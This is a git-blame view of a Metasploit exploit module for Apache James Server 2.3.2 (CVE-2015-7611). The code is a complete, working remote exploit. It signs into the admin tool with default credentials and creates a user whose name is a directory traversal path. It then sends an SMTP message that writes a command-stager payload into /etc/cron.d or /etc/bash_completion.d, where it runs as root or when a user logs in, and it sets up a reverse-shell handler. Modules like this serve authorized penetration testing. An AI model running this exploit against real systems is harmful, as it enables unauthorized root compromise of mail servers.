Files
metasploit-gs/modules/exploits/linux/smtp/apache_james_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

198 lines
7.5 KiB
Ruby
Raw Normal View History

##
2020-01-19 13:46:47 -08:00
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
def initialize(info={})
super(update_info(info,
2020-01-19 14:15:11 -08:00
'Name' => "Apache James Server 2.3.2 Insecure User Creation Arbitrary File Write",
'Description' => %q{
2020-02-02 17:29:39 -08:00
This module exploits a vulnerability that exists due to a lack of input
validation when creating a user. Messages for a given user are stored
in a directory partially defined by the username. By creating a user
with a directory traversal payload as the username, commands can be
written to a given directory. To use this module with the cron
exploitation method, run the exploit using the given payload, host, and
port. After running the exploit, the payload will be executed within 60
seconds. Due to differences in how cron may run in certain Linux
operating systems such as Ubuntu, it may be preferable to set the
target to Bash Completion as the cron method may not work. If the target
is set to Bash completion, start a listener using the given payload,
host, and port before running the exploit. After running the exploit,
the payload will be executed when a user logs into the system. For this
exploitation method, bash completion must be enabled to gain code
execution. This exploitation method will leave an Apache James mail
object artifact in the /etc/bash_completion.d directory and the
2020-01-19 13:46:47 -08:00
malicious user account.
},
'License' => MSF_LICENSE,
2020-01-19 13:46:47 -08:00
'Author' => [
'Palaczynski Jakub', # Discovery
'Matthew Aberegg', # Metasploit
'Michael Burkey' # Metasploit
],
'References' =>
2020-01-19 13:46:47 -08:00
[
[ 'CVE', '2015-7611' ],
[ 'EDB', '35513' ],
[ 'URL', 'https://www.exploit-db.com/docs/english/40123-exploiting-apache-james-server-2.3.2.pdf' ]
],
'Platform' => 'linux',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Targets' =>
[
2020-02-02 17:29:39 -08:00
[ 'Bash Completion', {
'ExploitPath' => 'bash_completion.d',
2020-02-19 18:57:08 -08:00
'ExploitPrepend' => '',
'DefaultOptions' => { 'DisablePayloadHandler' => true, 'WfsDelay' => 0 }
} ],
2020-02-02 17:29:39 -08:00
[ 'Cron', {
'ExploitPath' => 'cron.d',
2020-02-19 18:57:08 -08:00
'ExploitPrepend' => '* * * * * root ',
'DefaultOptions' => { 'DisablePayloadHandler' => false, 'WfsDelay' => 90 }
} ]
],
'Privileged' => true,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2015-10-01',
2020-02-02 17:29:39 -08:00
'DefaultTarget' => 1,
'CmdStagerFlavor'=> [ 'bourne', 'echo', 'printf', 'wget', 'curl' ]
))
register_options(
[
OptString.new('USERNAME', [ true, 'Root username for James remote administration tool', 'root' ]),
OptString.new('PASSWORD', [ true, 'Root password for James remote administration tool', 'root' ]),
2020-02-02 17:29:39 -08:00
OptString.new('ADMINPORT', [ true, 'Port for James remote administration tool', '4555' ]),
2020-02-07 16:13:25 -08:00
OptString.new('POP3PORT', [false, 'Port for POP3 Apache James Service', '110' ]),
2020-02-02 17:29:39 -08:00
Opt::RPORT(25)
])
end
def check
2020-01-20 17:16:45 -08:00
# SMTP service check
connect
2020-01-19 13:46:47 -08:00
smtp_banner = sock.get_once
disconnect
2020-02-05 15:19:06 -08:00
unless smtp_banner.to_s.include? "JAMES SMTP Server"
2020-01-20 17:16:45 -08:00
return CheckCode::Safe("Target port #{rport} is not a JAMES SMTP server")
end
# James Remote Administration Tool service check
2020-02-05 15:19:06 -08:00
connect(true, {'RHOST' => datastore['RHOST'], 'RPORT' => datastore['ADMINPORT']})
2020-01-19 13:46:47 -08:00
admin_banner = sock.get_once
disconnect
2020-02-05 15:19:06 -08:00
unless admin_banner.to_s.include? "JAMES Remote Administration Tool"
2020-01-20 17:16:45 -08:00
return CheckCode::Safe("Target is not JAMES Remote Administration Tool")
end
# Get version number
version = admin_banner.scan(/JAMES Remote Administration Tool ([\d\.]+)/).flatten.first
# Null check
unless version
return CheckCode::Detected("Could not determine JAMES Remote Administration Tool version")
end
# Create version objects
2021-02-17 12:33:59 +00:00
target_version = Rex::Version.new(version)
vulnerable_version = Rex::Version.new("2.3.2")
2020-01-20 17:16:45 -08:00
# Check version number
if target_version > vulnerable_version
return CheckCode::Safe
elsif target_version == vulnerable_version
return CheckCode::Appears
elsif target_version < vulnerable_version
2020-02-07 18:34:27 -08:00
return CheckCode::Detected("Version #{version} of JAMES Remote Administration Tool may be vulnerable")
end
end
2020-02-02 17:29:39 -08:00
def execute_james_admin_tool_command(cmd)
username = datastore['USERNAME']
password = datastore['PASSWORD']
2020-02-05 15:19:06 -08:00
connect(true, {'RHOST' => datastore['RHOST'], 'RPORT' => datastore['ADMINPORT']})
2020-01-19 13:46:47 -08:00
sock.get_once
sock.puts(username + "\n")
2020-01-19 13:46:47 -08:00
sock.get_once
sock.puts(password + "\n")
2020-01-19 13:46:47 -08:00
sock.get_once
2020-02-02 17:29:39 -08:00
sock.puts(cmd)
2020-01-19 13:46:47 -08:00
sock.get_once
sock.puts("quit\n")
disconnect
2020-02-02 17:29:39 -08:00
end
2020-02-19 18:57:08 -08:00
def cleanup
return unless target['ExploitPath'] == "cron.d"
2020-02-02 17:29:39 -08:00
# Delete mail objects containing payload from cron.d
username = "../../../../../../../../etc/cron.d"
2020-02-07 19:14:56 -08:00
password = @account_password
2020-02-02 17:29:39 -08:00
begin
2020-02-07 16:13:25 -08:00
connect(true, {'RHOST' => datastore['RHOST'], 'RPORT' => datastore['POP3PORT']})
2020-02-02 17:29:39 -08:00
sock.get_once
sock.puts("USER #{username}\r\n")
sock.get_once
sock.puts("PASS #{password}\r\n")
sock.get_once
sock.puts("dele 1\r\n")
sock.get_once
sock.puts("quit\r\n")
disconnect
rescue
2020-02-07 19:14:56 -08:00
print_bad("Failed to remove payload message for user '../../../../../../../../etc/cron.d' with password '#{@account_password}'")
2020-02-02 17:29:39 -08:00
end
# Delete malicious user
delete_user_command = "deluser ../../../../../../../../etc/cron.d\n"
execute_james_admin_tool_command(delete_user_command)
end
def execute_command(cmd, opts = {})
2020-02-07 19:14:56 -08:00
# Create malicious user with randomized password (message objects for this user will now be stored in /etc/bash_completion.d or /etc/cron.d)
2020-02-02 17:29:39 -08:00
exploit_path = target['ExploitPath']
2020-02-07 19:14:56 -08:00
@account_password = Rex::Text.rand_text_alpha(8..12)
add_user_command = "adduser ../../../../../../../../etc/#{exploit_path} #{@account_password}\n"
2020-02-02 17:29:39 -08:00
execute_james_admin_tool_command(add_user_command)
2020-01-19 13:46:47 -08:00
# Send payload via SMTP
2020-02-02 17:29:39 -08:00
payload_prepend = target['ExploitPrepend']
connect
sock.puts("ehlo admin@apache.com\r\n")
2020-01-19 13:46:47 -08:00
sock.get_once
sock.puts("mail from: <'@apache.com>\r\n")
2020-01-19 13:46:47 -08:00
sock.get_once
2020-02-02 17:29:39 -08:00
sock.puts("rcpt to: <../../../../../../../../etc/#{exploit_path}>\r\n")
2020-01-19 13:46:47 -08:00
sock.get_once
sock.puts("data\r\n")
2020-01-19 13:46:47 -08:00
sock.get_once
sock.puts("From: admin@apache.com\r\n")
sock.puts("\r\n")
sock.puts("'\n")
2020-02-02 17:29:39 -08:00
sock.puts("#{payload_prepend}#{cmd}\n")
sock.puts("\r\n.\r\n")
2020-01-19 13:46:47 -08:00
sock.get_once
sock.puts("quit\r\n")
2020-01-19 13:46:47 -08:00
sock.get_once
disconnect
end
2020-02-19 18:57:08 -08:00
def execute_cmdstager_end(opts)
2020-02-02 17:29:39 -08:00
if target['ExploitPath'] == "cron.d"
2020-02-19 18:57:08 -08:00
print_status("Waiting for cron to execute payload...")
2020-02-07 16:13:25 -08:00
else
2020-02-19 18:57:08 -08:00
print_status("Payload will be triggered when someone logs onto the target")
print_warning("You need to start your handler: 'handler -H #{datastore['LHOST']} -P #{datastore['LPORT']} -p #{datastore['PAYLOAD']}'")
2020-02-07 19:14:56 -08:00
print_warning("After payload is triggered, delete the message and account of user '../../../../../../../../etc/bash_completion.d' with password '#{@account_password}' to fully clean up exploit artifacts.")
2020-02-02 17:29:39 -08:00
end
end
2020-02-19 18:57:08 -08:00
def exploit
execute_cmdstager(background: true)
end
end